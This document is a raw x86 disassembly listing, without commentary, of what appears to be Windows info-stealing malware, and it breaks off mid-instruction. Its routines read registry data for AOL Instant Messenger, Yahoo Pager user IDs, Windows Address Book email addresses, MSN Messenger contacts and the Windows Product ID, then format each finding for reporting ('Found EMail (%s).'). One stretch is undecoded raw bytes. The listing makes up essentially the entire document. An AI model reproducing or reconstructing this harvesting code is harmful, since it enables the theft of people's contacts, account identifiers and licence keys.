db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 0F83D89C0h dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 1B5810E8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0FCBF0000h, 0F30050E3h dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch dd 24CB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F60h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 4DE80000h, 900247B5h, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 0B506E890h, 0C0850248h dd 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h dd 20244489h, 1B56A0E8h, 0B99000h, 33000002h, 24BC8DC0h dd 6F4h, 0F310C483h, 100B9ABh, 0FCBF0000h, 0F30050E3h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h dd 4FB4ABE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24CB480h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 443D3Ch, 0E8694F8Dh, 0FFFCC913h, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh dd 19E89052h, 8B024CB4h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h dd 10C683FFh, 5A14FE81h, 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh dd 448D0050h, 68501C24h, 20019h, 0A068006Ah, 6800445Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h dd 9468F08Bh, 5100445Bh, 446A4C68h, 0E8905600h, 1B5525h dd 443E7C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60A5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 90560A74h dd 7F74EEE8h, 4C48377h, 1C24448Bh, 0B2C6E850h, 8D90024Ch dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469E8h, 69D86852h, 90560044h, 1B5414E8h dd 3E7C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 2E7AE890h dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 0E85718C4h dd 7780BC89h, 4C48390h, 0A74F685h, 0E4E89056h, 83777F73h dd 548B04C4h, 90521C24h, 4CB1BBE8h, 244C8D02h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h call near ptr 2930000h nop test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446938 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28E0000h test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 2900000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44692C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2930000h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28E0000h test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2930000h mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F60 push eax call near ptr 28E0000h nop mov eax, [esp+14h] push eax nop call near ptr 2900000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 285032Bh nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 28308B0h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx call near ptr 27206C4h nop mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi nop call near ptr 27208BDh push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2930000h test eax, eax jnz loc_43551E mov ebx, dword_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A78 push ecx call ebx mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 28E0000h test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A6C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h push 64h call near ptr 2830000h nop jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 2900000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2900000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BAF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2900000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BA4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2930000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx call near ptr 28E0000h nop test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 2900000h loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], 